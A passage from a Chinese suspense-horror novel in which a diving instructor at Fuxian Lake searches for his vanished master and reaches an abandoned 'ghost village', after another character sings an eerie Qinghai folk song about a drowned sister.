满都哇所在的村子正对着昆仑山,规模不算小,成片的庄廓围聚在一起,无一例外都是高高的黄土院墙围着一间平房,站在村头向四方望去,除了雄浑的山脉,就是一望无际被大雪覆盖的荒原,宋浮尘待在村子里的日子每天都在下雪,根本没啥娱乐活动,实在闲得无聊,他没事儿就裹着袄子到村里闲逛,逛了几趟就发现这村子的怪异之处——那就是太安静了,安静的不正常。 他仔细看过这个村落庄廓的规模,至少能住百十来户人家,但他绕着村子走了几圈,发现这么冷的大雪天,百分之九十的房顶都没冒一点烟气,显然这些房子里都没住人,而剩下的百分之十的房子里则住着一些老弱妇孺,整个村子根本看不到几个年轻人,他当时就觉得很奇怪。 有时候太阳好的时候,村子里的老人会三三两两地坐在屋门口晒太阳,宋浮尘想上前跟他们说说话,但他们不懂汉语,根本没办法交流,只能作罢。 但他实在太无聊了,那时候满都哇和索南很忙,每天早出晚归,宋浮尘一个人闲得发慌,就只能跟村里的小娃娃一起玩,这群小娃娃大的十来岁,小的差不多六七岁,都不会说汉语,穿着脏兮兮的皮袄子,露出冻得通红的小脸来,他们每天三五成群地聚在一起,吸溜着鼻子在村子里跑来跑去,宋浮尘就跟在他们的后头,一起躲在墙根边玩捉迷藏。 说到这儿,宋浮尘突然转头看向冷柏山,问道:“冷老板,你知道花儿吗?” 冷柏山还沉浸在回忆中,宋浮尘问了半天都没反应,于是满脸疑惑地拍了拍冷柏山,冷柏山这才如梦初醒般回过神来,一脸茫然地望向宋浮尘:“什么?你说什么?” 宋浮尘又问了一遍:“我是说您知不知道花儿?” “花儿?” 冷柏山这下就更加茫然了,他不知道怎么就突然扯到花儿了,花儿不就是花儿吗?谁不知道?宋道长怎么突然问这个? 眼见冷柏山一头雾水,宋浮尘索性直接解释:“其实花儿是青海的一种传统民歌,在青海,不管男女老少,人人都会唱上几句悠扬的花儿,那时候每天跟小娃娃们聚在一起,玩高兴了,他们张口就来,刚开始我根本听不懂他们唱的什么,但时间久了,慢慢也就悟出来一些,似乎是讲了一个当地的故事,我还记得那首花儿是这么唱的……” 他说着,一边用筷子敲打节奏,一边清了清嗓子有模有样的唱起来,曲调怪异起伏。 “娃娃娃娃睡觉觉,姐姐山上拾条条, 条条长在尕岭沟,拾上条条编背斗, 编完背斗回家急,就怕娃娃醒来哩。 西山的头儿上云起来,恐怕是山头上雨来, 天上雨来急,姐姐忙躲避, 脚滑摔下崖哩,一直滚到湖里哩。 水深不见底,姐姐沉下去, 水怪咬她哩,水都染红哩, 姐姐死了,背斗破了,娃娃醒了。 青石栏杆玉石的桥,阿奶说姐姐下到阴曹, 水井通向地府,肉身嫑用入土, 九世轮回受苦,终究人鬼殊途。 半山里云来半山里雾,半天里哭来半天里闹, 娃娃念着姐姐好,好话嘛不完 眼泪唰啦啦淌,心里刺喇喇痛 霜打了腊月的梅了,姐姐突然回来了, 手里拖着没头的狼,血痂坐在个全身上, 娃娃吓哭了,姐姐咧嘴笑了。” *** 21. 才让 云南抚仙湖。 一大早,董利伟起床草草梳洗完,从衣柜里翻捡出一身印花衬衫配大裤衩,胡乱套上,拿着车钥匙就急匆匆出了门。 他住的地儿离工作的潜店不远,发动车一脚油门,转了几个弯就到了,车刚停稳下车,就看到他同事刘向阳拎着一袋子小笼包,慢悠悠晃过来。 晃到近前时,刘向阳看到董利伟站在门口,很是意外:“哟,这真是太阳打西边出来了,今天竟然来这么早?” 董利伟懒散地靠着车门没说话,一双眼睛死盯着刘向阳手里的吃食,伸手就想抢。 哪知刘向阳早有防备,反应很快,立马往后一闪,把小笼包藏在身后,满脸嫌弃:“想吃,你自己买去,连这点钱都要省啊,你不刚接了一个大单子吗?也赚了不少吧?” 说着,一边提防着董利伟,一边侧着身子从袋子里拿出一个小笼包,塞进嘴里有滋有味嚼起来。 董利伟没得逞,又闻到飘过来的肉香味儿,勾得肚里的馋虫大动,咽了咽口水骂道:“吃一个怎么了?真是小气!” 骂完,又嬉皮笑脸地问:“包子哪儿买的?味儿怎么样?” 刘向阳往不远处摆摆头,嘴里嚼着食物含混地答:“就那边,味儿还行!” 董利伟锁了车门,径直往卖包子的地方走,走到半道想起吴沅来,吴沅是他之前的潜水学员,也就是刘向阳嘴里说的大单子,是个年轻的富二代,出手阔绰,这几天他从吴沅手里挣的钱折算下来比他几个月挣得都多,原本挺高兴,但中途发生了一件事,让他一直心绪不宁。 其实一切的起源就是因为这个吴沅想下到抚仙湖底拍些视频素材,结果好巧不巧,在水下拍到了一个诡异的男人,那男人跟带他入门的师傅长得简直一模一样,但他的师傅十年前就金盆洗手,不干潜水的行当了,后来离开了抚仙湖,再然后两人也就渐渐断了联系。 他当时看到视频画面时,先是一惊,紧接着心里又满是疑惑不解,师傅怎么会出现在抚仙湖水底?当时所有人看到水底有个活人都大吃一惊,也来不及细想,急急忙忙就去派出所报了警,这不报警还好,一报警事情就更加蹊跷诡异起来。 根据他们提供的视频截图,警方在系统里找到了一个人,跟他师傅长得几乎一模一样,但其他的个人信息,包括姓名、籍贯、年龄,都跟他师傅不一致,而且警方系统里显示那人是四十年代出生的人,在70年代就失踪了,按照出生年月来推算,就算是十年前,那人也已经七十多岁了,而且无儿无女。 但他师傅十多年前差不多才三四十岁,正是身强力壮的时候,这到底是怎么回事?董伟一下子就迷糊了,所以湖底的到底是不是他师傅?如果是,那他在湖底一堆死人中间干嘛?如果不是,那湖底那人又是谁?还有系统里查到的那个人又是谁?跟他师傅有没有什么关系? 一时之间,情况错综复杂,董利伟如坠五里雾中,根本理不清头绪。 他左想右想都觉得这事情蹊跷得很,怎么会这么巧?刚好水底那人跟他师傅长得一模一样,而他师傅又刚好跟警方系统里那人长得几乎一模一样,还有就是,他最最在意的一点:能无装备潜入抚仙湖底的,除了他师傅,还有谁能有这种本事? 结果分析来分析去,搞得在场所有人都晕了,开始各种发散猜想,结果都被大家一一否决了。 最后还是吴沅提出了一种猜想,勉强得到了大部分人的认可——水里的那人应该就是董利伟的师傅,他师傅可能是警方系统里那个人的私生子,没有被记录在户籍档案中,所以个人信息查不到,又因为有了这层血缘关系,两个人长得一模一样才有可能说得通…… 虽然大家都想尽量合理化眼前发生的一切,但最终理智还是占了上风,始终无法说服自己相信,就算是私生子,也不可能长得一模一样吧?除非克隆,还有点可能。 事情的走向越发扑朔迷离,董利伟到底想要弄个明白,水底面积太大,风险又高,警方也不能因为他们提供的一段视频就下水掘地三尺,那可是抚仙湖,有一百多米深啊,是个高难度的大工程。他要只身下水去找也不太现实,董利伟便想着先去他师傅曾经工作过、居住过的地方看一看,看看能不能找到一些线索。 吴沅本身是做探险自媒体的,也表示有兴趣一起前往拍摄,董利伟乐得跟这种出手阔绰的富二代交好,毕竟没啥坏处,这种人一般圈子里都是有钱人,往小了说可以帮他扩展优质客户,往大了说,说不定关系处好了也能搞点投资,跟着富一富呢? 于是约好今早一起出发,董利伟这才破天荒起了个大早,打算在潜店里等吴沅一行人。 这会儿他准备去买早饭,想着要不要给吴沅他们也带点,又担心人家有忌口的东西,毕竟干的就是服务相关的行业,得有这种服务意识,有助于提升客户满意度,于是就想着打个电话过去问问。 结果电话刚接通他还没开口,那边就一边道歉一边急匆匆地说临时有事去不了,之后再约。 董利伟面上虽然笑嘻嘻,嘴里说着“没事没事”,可电话一挂,立马就变了一副嘴脸,张嘴就骂:“妈的,明明说好了要去的,现在又说不去了,还另外约个屁的时间,有钱人特么耍人玩儿呢?!” 霹雳吧啦好一通骂,骂完还觉得不解气,又对着身旁的树哐哐连踹几脚,树冠跟着疯狂抖动,树叶掉了一地,引得路过的人纷纷侧目,眼神鄙视的恨不得离他二里地。 这一顿发泄完,他才觉得通体舒畅,快步找到卖早餐的摊子,要了一屉小笼包,在旁边找了个空着的矮桌,一屁股坐下狼吞虎咽吃起来,吃着吃着又琢磨起他师傅的事儿来。 因为这事儿他白里夜里都焦灼不安,反正是不能等了,既然吴沅他们不能去了,他便打算自己开车去看看。 吃完,他回潜店跟刘向阳交代了一下,就开车走了。 抚仙湖很大,开车环湖,一刻不停都要三四个小时,再加上从湖岸还能往更纵深的地方去,那抚仙湖辐射的范围就更大了。 他开车沿着湖岸一路疾驰,道路一侧是碧蓝辽阔的湖面,一侧是起伏的山岚和青葱的绿意,偶尔路过一些村落,旧日风貌被修缮一新,都有了翻天覆地的变化。 这个时节,算是抚仙湖最美的季节了,路上来来往往的车不少,他开了一个多小时,就到了网红打卡点湾子沟,这一带他原本很熟悉,对面的村子就是他师傅曾经跟人合伙开潜店的地方,但是这十年间,抚仙湖周边的变化太大了,以前名不见经传的地点,通过各种网络传播,竟然一夕之间成了网红打卡地。 人流量带来了财富,也带来了巨变,以前破旧的房子和街巷都已经改头换面,放眼望去街巷纵横交错,一幢幢民宿如雨后春笋般拔地而起,设计上各有特色,有的现代,有的清新,有的复古……各种特色餐厅、咖啡店和特产店穿插其间,看上去热热闹闹,一派欣欣向荣的景象。 自从师傅离开后,他就没回过这里,之前偶尔路过这一带,只感觉村子已经完全变了样,这次再来,更觉得陌生。 因为是旅游旺季,一大早街巷里就人头攒动、热闹非凡,到处都是自驾游的车子,他找了好半天才终于找到一个停车位,下车锁好车门,他看着眼前已经全然不同的景致,一时间有点发蒙。 这哪儿是哪儿啊?也不知道还能不能找到几个熟人。 他凭着记忆在街巷里穿行,不时有美女擦肩而过,个个细腰长腿美不胜收,搞得他频频侧目,眼珠子都快转不过来了,美女所到之处空气中都飘散着香气,他一边走一边陶醉地深吸着空气,脸上不由自主地露出猥琐笑意,末了不管不顾地冲着美女吹起口哨,十足轻佻模样。 美女们一个个白眼翻上天,满脸嫌恶,恨不得啐他一口。他倒是不觉得尴尬,反而龇着牙花乐呵呵的,像是觉得十分有趣,一步三回头,恋恋不舍地瞅着美女们的背影远去。 走了一会儿,他渐渐找到了感觉,四周的房屋虽然都变了样,但街巷的大体布局没变,往前又走了一段,找到了以前老吃的一家面店,不过现在已经变成了一间颇有情调的小酒吧。 酒吧外墙刷成了纯白色,门口的小院子里种满了高低错落的绿植,绿植中间支着几把遮阳伞,下面放着藤条的桌椅,时间还早,酒吧还没开始营业,院门都关着,进不去。 既然找到这里,曾经的潜店就不远了,他继续往前又走了几分钟,就找到了曾经潜店的位置,只是潜店不见了,取而代之的是一栋设计时尚现代的民宿,名字叫“岛屿”。 建筑整体有三层,每一层都是一个往外凸出的长方体形状,各层垒在一起,角度相错,外墙大量采用玻璃材料,看起来剔透高级,形成独特的外观造型,远远看过去格外吸睛。 不知道店主是不是熟人,他抱着试一试的心态,推开民宿的大门,走了进去。 坐在前台的是一个二十出头小姑娘的,模样清秀可爱,看有人进来了,忙站起身来热情地打招呼:“您好,您有预定吗?” 董利伟一见着漂亮姑娘就本性暴露,笑嘻嘻地往前台一趴,一边抬眼打量小姑娘,一边语气轻佻地说:“美女~我不是来住店的,我来找人的。” 小姑娘在前台工作,见多了各种言行不轨的男人,见董利伟眼神乱瞟、不正经的样子,就知道不是个什么好东西,当即冷下脸来,眼皮耷拉着,冷冰冰地问:“哦,那您找谁?” 董利伟刚准备回话,刚好有一家三口过来前台办理退房业务,小姑娘立马转头扬起笑脸接待客人:“您好,麻烦房卡给我一下哈?怎么样?这两天住得体验感怎么样?” “挺好的呀!下次来抚仙湖还住你们家!” “哎呀,那就好!”小姑娘说着露出甜笑。 见小姑娘跟客人有说有笑,反而把自己晾在一边,连个眼神都不给,董利伟当下就有点不爽了,心想这小妮子咋变脸这么快呢,什么意思?是不住这里连个笑脸都得不到?开门做生意哪有这样的道理…… 董利伟越想越气,于是不管不顾凑过去问:“你们老板呢,我找你们老板……” 他这人本来长得就又黑又壮,加上说话语气不好,就跟要找茬干架一样。小姑娘可能是见得多了,倒是也不怵,当他是空气一样,直接忽略,继续笑意盈盈地跟客人说话。 一个黝黑粗壮的中年男人竟然被一个黄毛小丫头无视,实在不能忍,董利伟顿时火冒三丈,提高了嗓门嚷嚷:“唉,我跟你说话呢,听到没有!” 搞得正在办退房业务的一家三口频频侧目,小女孩紧紧拽着爸爸的胳膊似乎吓到了,那个爸爸似乎也觉得眼前这个气急败坏的男人是个不安全因素,赶忙护着妻女往旁边让了让。 见董利伟影响到客人了,小姑娘这才看了他一眼,礼貌克制地回道:“我在帮客人办退房,您稍等一下……” 说完,就低头在电脑键盘上敲敲打打起来。 这时,一个五十来岁的男人似乎是听到了动静,挺着个大肚子从前台后头的房间里走出来,整个人身型偏胖,长得颇有些富态,脸上的皮肉挂不住直往下坠,在下巴处堆叠成好几层,稀疏的头发整整齐齐往后梳,露出油光锃亮的大脑门,他手里捧着一捧瓜子慢悠悠地嗑着,眼神则来回在大厅里巡视,在看到董利伟后,先是愣了一下,但很快就收回了视线,想一想似乎觉得不对,又再次看向董利伟。 董利伟意识到那男人在看自己,也看了过去,就这样,两人四目相对,电光火石间,竟都觉着对方有点面熟,但又有点不确定,两人就这样眯着眼睛对望了一会儿,突然脑中灵光一闪,几乎同时出声。 “董利伟!” “老周!” “哎呀,稀客稀客!” 老周很兴奋,把手里的瓜子往垃圾桶里一扔,就从前台后头绕出来,非常热络地一把握住了董利伟的手。 “这是你的店?”董利伟问。 老周满脸笑意:“不是,我儿子的,我帮他看看店。” “我还想着进来碰碰运气,看能不能找到以前的熟人,没想到还真是你开的店啊!” 董利伟说着故意提高了音量,脸上现出一副得意洋洋的姿态,这话虽然是对着老周说的,但话却是说给前台小姑娘听的,说完还故意瞥了前台小姑娘一眼,那意思仿佛是说,刚刚让你不搭理我,现在知道爷是谁了吧?我可认识你老板!这叫什么,曾经的我你爱答不理,现在的我你高攀不起…… 那小姑娘见老板竟然跟眼前的男人认识,多少有点意外,但跟董利伟预想的不同,他原本以为小姑娘会立马转变态度,小心翼翼、笑脸相迎,上来说几句讨好的话,结果这小姑娘也不是一般人,只是冷冷地瞥了他一眼,接着脑袋一撇就干活儿去了,完全没有把他放在眼里。 那一刻,董利伟作为男性的自尊心碎裂一地,他一脸哀怨地死盯着小姑娘,恨不得要把人家的后脑勺盯个洞出来。 老周在一旁没发现他的异样,自顾自地说着话,末了还埋怨他:“哎呀,你看你就在抚仙湖,也不说来找我,咱们都好些年没见了吧?” 在别人的店里实在不好发作,董利伟只好强制压住心头的不爽,冲着老周笑笑,配合地点点头:“嗯,得十多年了!” “走走走,今天好不容易遇到,得好好聚聚,中午就留在这里吃饭!” 老周说着就拉着董利伟往前台后面的房间走。 前台后头是员工宿舍,再往后走,有一道密码门,进去就是老周的屋子和花园,老周很是热情的带着董利伟到处转了转,屋子挺宽敞的 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书架最下方则放着一排冷藏柜,里头放着老周从各处寻觅来的好茶,什么龙井、大红袍、碧螺春、金骏眉等等,各色名茶应有尽有,老周如数家珍、逐一介绍。 介绍到后来,他拿起一个茶叶罐,晃了晃说:“今年的龙井新茶,尝尝?” “行啊!” “那行,来坐坐坐!” 茶桌是那种实木大板,桌面花纹独特,犹如漾起的水波纹,煞是好看。 董利伟摸着桌面,抬眼看老周:“这玩意儿,挺贵的吧?” 老周忙着煮水泡茶,没说话,抬头冲着董利伟嘿嘿一笑,来了一出此时无声胜有声,董利伟便明白过来,眼前这茶桌应该不是一般的贵,人家不说话多半是不想露富而已,于是很知趣地抿嘴点点头,也不问了。 老周手脚麻利地冲泡好茶,倒了一杯搁在董利伟面前,做了一个请的手势,等了一会儿,突然冷不丁的伸出五根手指头,略带炫耀姿态:“这玩意儿也不是太贵,差不多这个数。” 说完,心满意足地看着自己的茶桌,格外爱惜地抚摸起来。 听到老周的话,董利伟差点一口茶喷出来,心想老周到底还是普通人,这种花了大手笔买来的物件总是会忍不住在人前炫耀一下,跟男人买豪车同理,不过他也能理解,男人嘛,总是愿意从各方面来展露自己的实力,年轻时展露外表和魅力,年纪大了就倾向于展露挣钱能力。 一个茶桌的价格够普通家庭一年的收入了,董利伟微微咂舌,他忍不住感叹,多年不见这家伙竟然已经混到这种程度了,看人家这日子过得,轻松松松,坐在家里就把钱挣了,唉,再看看自己,每天累死累活挣钱,一想到这儿心中多少有些五味杂陈,但面上还是维持着镇定,笑着调侃:“老周,你这日子过得都要富得流油了吧?啥时候也带着兄弟一起致富啊?” 董利伟的羡慕之情溢于言表。 老周笑得满面红光,摸了摸油光锃亮的大脑门,谦虚地说:“诶,哪有你说的那样,我这条件顶多算小康!” “唉老周,你也太谦虚了,依我看,以你现在的实力,我都得叫你周大老板了,小弟我还指着你日后罩罩我呢!” 老周听在耳中,很是受用,笑得满面春风,眼睛都眯起来了,但他还记得男人间交往的规则,于是话锋一转,开始捧着董利伟说话:“董老板,你这话就是来笑话我的,我这都是小本经营,哪里有本事带着你发财啊,你跟人合伙搞潜店,生意也挺红火的,我看你带我发财还差不多!” 一来一往,你吹我捧,说的都是些场面话,大家都心知肚明,但也不戳破,反正听着都高兴。 说着说着,老周突然问:“你今天怎么想着回来看看?” “哦,我想着来打听打听我师傅的事。” “你师傅,才让?” 董利伟点点头:“对!你这些年有没有他什么消息啊?” 老周有些不解:“他不是你师傅吗?他走了之后,你们都没联系了?” 这话说得董利伟面上一阵臊得慌,也是,自己的师傅不了解,还跑来问别人,这些年都不联系,这不纯纯的狼心狗肺吗? 他有些尴尬地解释:“你也不是不知道我师傅这人,总爱独来独往,去哪儿都是悄无声息的,平时连电话都不用,要联系他可太难了。” 老周似乎没注意到董利伟的难堪,点点头:“这倒是,自从他离开抚仙湖后,我就没听说过他的消息了,潜店也没干多久就干不下去了,最近几年抚仙湖旅游搞得还不错,我才回来又搞了民宿。” 十年前,董利伟的师傅才让出技术股和老周合伙搞了一间潜店,除了教人潜水外,还挣点其他需要下水的辛苦钱,一般都是下水捞人的,多半是溺死的人,这种都是高风险高回报,老周虽然也会点潜水技巧,但到底比不上才让,所以挣钱大头都是才让,才让也不计较,一切收入都是两人平分。 两人就这么合伙大干了几年,生意一直不错,结果有一天,才让突然说自己不干了,要离开抚仙湖,无论老周怎么劝说,才让就是要坚持离开,没办法,两人只能拆伙,潜店就留给老周一个人经营,才让原本就是店里的活招牌,他一走,潜店的生意一落千丈,老周硬挺了两年,最后只能关店。 “这周围的老熟人都没听说过他的消息吗?” 老周想了想,摇了摇头:“曾经的那一波老熟人很多都离开云南了,现在大部分都是新来的,来这里开民宿、咖啡馆,抢生意挣钱的。” 董利伟见问不出什么有用的信息,有些失望,但脑中随即闪现出一条重要信息,他忙问:“我师傅曾经是不是在一个村子里租了房子?” 一说到这个,老周想起来:“哦对,那时候潜店是有房间可以休息的,但他还是找了个村子租了房子,每月休息两天,他都会回村子里休息。” 董利伟忙问:“是哪个村子?” 老周皱起眉头:“叫什么来着……好像叫什么簪什么村?等我想一想啊!” 董利伟直勾勾盯着老周,老周抓耳挠腮想了好一会儿,突然一拍桌子,吓了董利伟一跳。 “对对对,我想起来,叫南簪村。” “nanzan村?没听过啊!” 老周一边往董利伟的杯子里倒茶,一边说:“不在这附近,挺偏僻的一个村子,十年前,那里连路都还没修好,也不知道才让为啥要去那里租房,说是图清净,也不至于去那么远的地儿吧……” 董利伟在抚仙湖也这么多年了,自认为对抚仙湖还是有些了解的,但这个nanzan村,他可真是闻所未闻,于是掏出手机,准备在地图app里搜搜看。 “是哪个nan,哪个zan?” “好像是南边的南,簪……就是女人戴的簪子的簪。” **** 22. 南簪村 董利伟敲出了“南簪”两个字,位置信息很快跳了出来,倒真是有这个地方,点击查看距离,好家伙,开车过去都要足足两个小时。 董利伟有些不解:“这么远!开车都要两个小时,他为什么要住在那么远的地方?” 老周慢悠悠呷了口茶,回道:“这谁知道啊?他这个人也不喜欢聊私事,就他在南簪村租房子这件事,要不是我无意间听到的,他也不会告诉我的,他就喜欢独来独往,神神秘秘的,要不是要挣钱谋生,估计都不会来跟我合伙搞潜店。” 老周这话说的不假,董利伟一直觉得师傅挺孤僻的,对周围的一切都漠不关心,身上随时随地都散发着生人勿近的气息,再加上名字叫才让,一个有点藏风味道的名字,整个人就更有几分遗世独立、看透世事的清冷感。 平时他话很少,很多时候都喜欢一个人待着,要是没有潜水的活儿,店里都找不见他的人。当初他因为潜水厉害,抚仙湖周边有了一些他的奇闻,都说他能无装备潜入水底,不少人甚至还亲眼看过,至此在这个细分市场打响了名堂,后来越传越神,甚至有人传说他是人鱼转世。 董利伟也是慕名而来,一心想拜才让为师,但才让其实不愿意收徒弟,奈何董利伟各种死缠烂打,每天就守在店里,搞得才让没了办法,这才勉强答应。日常除了潜水相关的内容,再无其他的交流,就算董利伟有心想让关系更亲近一点,才让也总是默不吱声,敬而远之。 后来,直到才让要离开抚仙湖,董利伟对他仍旧一无所知,不知道他老家是哪儿的,家中还有什么亲属,之前的人生经历是什么,现在想来,他的师傅就像一个迷一样。 “你怎么突然想找你师傅了?怎么?想着拉着他重出江湖?” 老周看似无心地发问,心中却已经打起了算盘,董利伟这么突然要找师傅,莫不是想要合伙干点什么?要是才让真能出山,这潜店的生意完全可以红红火火干下去,现在抚仙湖旅游发展得好,客人也不愁,要是这事儿,他可得插一脚。 老周这一问,董利伟也不好说实话,于是语焉不详嗯嗯啊啊着带过了。 老周见董利伟这反应,也不好深问了,但仍旧不死心,说道:“反正,有啥挣钱的门路想着点我啊!咱们可是老相识了!” 董利伟笑笑:“你现在民宿生意不做的挺好的么?赚的盆满钵满的,天天在家数钱,咋还想着挣钱,挣那么多钱干啥?” “诶,你这话说的,谁会嫌钱多呢!” 老周这话说得倒是挺诚实,也是,谁会嫌钱多呢。 两人就这么有一搭没一搭的闲扯了半天,一直聊到中午,老周硬要董利伟留下吃饭,还专门去隔壁餐馆点了几个硬菜,一直到下午两点,董利伟这才离开民宿出发去南簪村。 根据导航显示,南簪村在抚仙湖的纵深处,这几年国家的“村村通”搞得不错,各种偏僻的小村落都有了水泥路。但就算在这种良好的路况条件下,去南簪村还要2个多小时,难以想象以前路没修好的时候,要去一趟不知道要花多长时间。 车一刻不停,往纵深处挺进,二十分钟后,车外的风景开始变得不同起来,连绵起伏的山一直延伸到视线尽头,苍翠繁茂的绿荫占满瞳孔,沿途连小的村落都没见到几处,视野内都是山,连绵不尽的山。 又走了约莫一个小时,眼见目的地临近,水泥路开始变得十分狭窄,窄到对面要是突然来辆车可能都没办法会车,董利伟忍不住阴阳怪气骂道:“这路特么是哪个天才设计的?!实在太特么宽了!应该再宽一点,走自行车最好!” 话音刚落,就见对面飙来一辆喷着黑气的破面包车。 这真是怕什么来什么,董利伟烦躁的啧了一声,紧皱着眉头,下意识慢下了速度,他瞅了瞅车辆一侧的空位,太窄了,实在没办法过,只能挂上倒档,尽量往路旁边退让。 来车也慢下速度,慢慢开过来,到近前时,停了下来。 董利伟开的是辆SUV,车型稍大,好在对方是个小面包,这要是对面来得也是一辆大车,那不彻底歇菜了?想要过去只能飞了。 他目测了一下距离,觉得位置似乎还不太够,又往后慢慢移了移,直到车屁股就要抵到路边的树了,这才停下来。 对面的面包车也走得小心翼翼,生怕蹭了董利伟的车,董利伟盯着窗外,看着对向的车一点点过,对向的车很奇怪,全车的玻璃上都贴着黑色的膜,根本看不到里头的人,就在他以为就要顺利会车的时候,突然感觉车身一震,那面包车似乎蹭到了侧面车身。 董利伟心头一震,在车里大喊起来:“唉唉唉,怎么回事儿?” 但那面包车没有一点要停下来的意思,一脚油门就要跑,董利伟赶忙降下车窗,结果一阵浓烈的腥臭味扑面而来,搞得他差点吐出来,赶忙又关上窗户。 董利伟一边拿手机准备下车拍照,一边捏着鼻子吐槽:“这特么什么味儿啊,这么恶心,车里装的什么生化武器吗?” 下车后,拿着手机先对着逃跑的面包车一顿猛拍,然后放大照片,看到车牌是本地车牌,之后他又绕到车侧面看了看,果不其然,车屁股那边被划了一道,车漆都被蹭掉了。 “我靠!!我靠!!” 董利伟见状,情绪很是激动,恨不得一蹦三尺高。 他盯着那处划痕看了好一会儿,尽量平复心情,一边拍照留证,一边一脸痛惜地看着自己的爱车,伸手摸了摸,末了抬起头来,满眼愤恨地盯着道路尽头,那辆肇事面包车已经无影无踪,他实在气不过,对着空空的马路一通骂,连对方的祖宗十八代都骂了一个遍。 还好划痕不大,不过到底是心里不舒服,但眼下自己还有正事要办,就想着先去南簪村看看,等回来了再处理,反正各种证据都有。 “特么的,你跑,你以为你跑得掉吗?” 董利伟骂骂咧咧地回到车上,车里还有丝丝缕缕的腥臭气没散尽,他闻了一下就像触电一般,又急急忙忙跑下车,拉着车门来回狂扇风,扇了会儿又把鼻子探进去闻了闻,觉得还不够,把后门和天窗通通都打开,等味儿散尽了,才正式上路。 按照导航显示,离南簪村已经不远了,他开了十来分钟,道路一侧出现了一个规模不小的村子,导航也同步显示到了目的地,他以为到地儿了,结果等他把车往拐入村子,却看到村子入口赫然写着“丰收村”三个字。 这怎么回事?来错地儿了?还是导航出了错? 他赶忙退出导航又重新打开,如此重复好几次,结果照旧显示已到达目的地南簪村附近,但这里明明是丰收村,并不是南簪村,董利伟很是烦躁,一大早出门,结果找错了地方,这是什么事儿啊! 多半是导航出了问题,没办法,他只能到这个村子里打听打听,按说南簪村应该不远了。 董利伟慢悠悠开着车进村,正值中午,路上没什么人,好在他发现不远处一家小超市门口坐着一群老头儿,在一起抽着烟闲聊。 他赶忙靠边停车,从副驾的车兜里掏出一盒烟来,虽然他做潜水这一行不抽烟,但他去别的地方办事总是习惯带上几包,主要是为了散给别人,烟这玩意儿,可以说是男人世界的通行证,可以很快拉近人和人之间的关系。 他揣着烟下车,小跑到超市门口,挨个给老头儿递烟。 “老人家,跟你们打听个事儿。” 这群老头儿都长得又黑又瘦,有些瘦到几乎皮包骨了,面颊都深深凹陷下去,不过精神状态看起来不错,坐在一起有说有笑的。 见有小年轻散烟,老头儿们也不跟他客气,顺手就接了他递过来的烟,还有老头儿根本等不及,烟还没递过去,手都已经等不及伸过去等着了。 老头儿们一看个个都是抽烟老手,接过烟就立马横在鼻子前闻味儿,一般老烟民通过味儿就能判断烟的好坏,闻完又下意识去找烟蒂上的品牌标志,见烟的牌子不错,这才满意地点点头。 “小伙子,你想问什么事儿?” “你们知道南簪村吗?” 一听说他在找南簪村,老头儿们的脸上都现出异样的神色,几个人互相看了看,都没说话,滴溜着浑黄的眼珠子从上到下打量起董利伟,看得董利伟浑身不舒服,末了,几个老头儿相互使了使眼色,一个瘦到皮包骨的老头缓缓抬起头来,一双往外凸出的怪异眼睛看向董利伟,嘴巴张了张,声音如粗粝的石头。 “你去那个鬼地方干嘛?” “鬼地方?” “是啊,那地方老死人,后来村里人都害怕就搬走了,已经荒废了很多年,基本就是一个鬼村了。” “哦哦,我想去看看,我之前认识的一个熟人曾经在那里住过。” 老人不解:“在那里住过?那现在要么是已经死了,要么就是已经搬走了!现在那里啥都没有,你去看什么?那地儿晦气得很,去一次回来都要生场大病的。” 老人好心劝说,希望董利伟能放弃去的念头。 哪知董利伟不死心,一门心思想去看看:“没事儿,您知道怎么去吗?我老大远来一趟,看看就回去!” 老人见这年轻人很是执拗,嘴唇嗫喏着有些欲言又止,最后想了想,低低地叹了一口气,扬起手臂往远处的后山方向指了指。 “喏,后面的山看到了吗?村子旁边有条往山上去的小路,沿着路开,半小时应该就能到了。” 董利伟很高兴,连连谢过这群老头儿,走的时候,把剩下的半包烟都留给了他们。 车沿着一条狭窄的山路一直蜿蜒向上,看得出来很少有人走这条路,道路两旁杂草丛生,树木野蛮疯长,枝枝桠桠都快伸到路中央了,董利伟小心翼翼地开车,生怕树枝刮花车身,但路窄树密,避无可避,还是有树枝啪啪打在车身上,听得他一阵阵心疼。 “妈的,这下车都要刮花了。” 光有树枝拦路就算了,有时候还有滚落的石块横在路中央,他得停车下去挪开,就这么走走停停,差不多半个小时后,车窗外响起若隐若现的水流声,哗啦哗啦,附近似乎有溪流和泉水。 董利伟开车又行了一段,一直走到了路的尽头,再往上就是一段青石板铺就的台阶,车子没法开了,董利伟在台阶下停下车,麻利地开门下车。 经年累月,落叶在台阶上腐烂堆叠,搞得台阶上黑漆漆的,边边角角青苔野草疯长,偶有爬虫从台阶上一闪而过。 脚踩在台阶上软塌塌的,慢步而上,视线随着台阶一层层往上,能看见层层叠叠的绿树枝桠后头有房子若隐若现。 南簪村到了。 爬上台阶,就是一段平缓的上坡路,他径直往上走,耳畔的水流声越来越大,视线透过一侧的密林,看到有白花花的水流奔腾而下,村子后头竟然有一条奔腾的溪流。 这!!董利伟心里咯噔一下,这村子前山后水的布局,在风水学里属实不吉啊!怪不得刚才那群老头儿都说这村子不吉利,看来也不是空穴来风! 想到这里,他下意识在心里多存了一份小心,脚下步伐依旧不停,又加紧往前快走了几步,道路两侧废弃的房子渐渐展露出来,有的已经垮塌得不成样子,只剩下孤零零的墙面支棱着,有的门窗都已经腐坏,各种爬藤植物已经侵占了大面积的墙体,又从门窗处侵入到了内部,还有大部分门前荒草丛生,连屋顶、房檐上都长满了一人来高的杂草。 这个村子不大,房子都修在青石板路的两边,董利伟越往里走越觉得这地儿颓败荒芜,走了半天连个人影都没见到,只有两三只鸟雀啁啾着从头顶飞过。 看来那老头儿没说假话,这里跟“鬼村”真的没啥两样,虽然是大中午,阳光正盛,但周围绿荫环伺,而隐在其间的残屋烂瓦莫名显得鬼气森森,当董利伟脑子里冒出“鬼村”这个词时,只觉得身子一寒,周身的气温都跟着骤降了好几度。 脚下踩到了什么,突然一阵细碎的裂响,在安静的环境氛围下显得格外突兀,吓得董利伟心头一颤,忙低头去看,原来是一个干枯的松果,已经被踩碎了一半。 董利伟心里烦躁,对着松果飞起一脚,松果打着旋儿飞向半空,结果好巧不巧,那颗松果落下时,正正好砸到了一间空房子的木门上,木门早已腐坏,轰然一声,径直向后倒下去,瞬间激起室内的一片尘土。 董利伟觉得这样的场景多少有点滑稽,他明明只是踢了一脚,谁能想到这颗破松果竟然这么会找地方,直接“登堂入室”了,一时间有些无语,忍不住轻笑了一声,慢慢溜达着走过去,想着刚好可以看看屋里的光景。 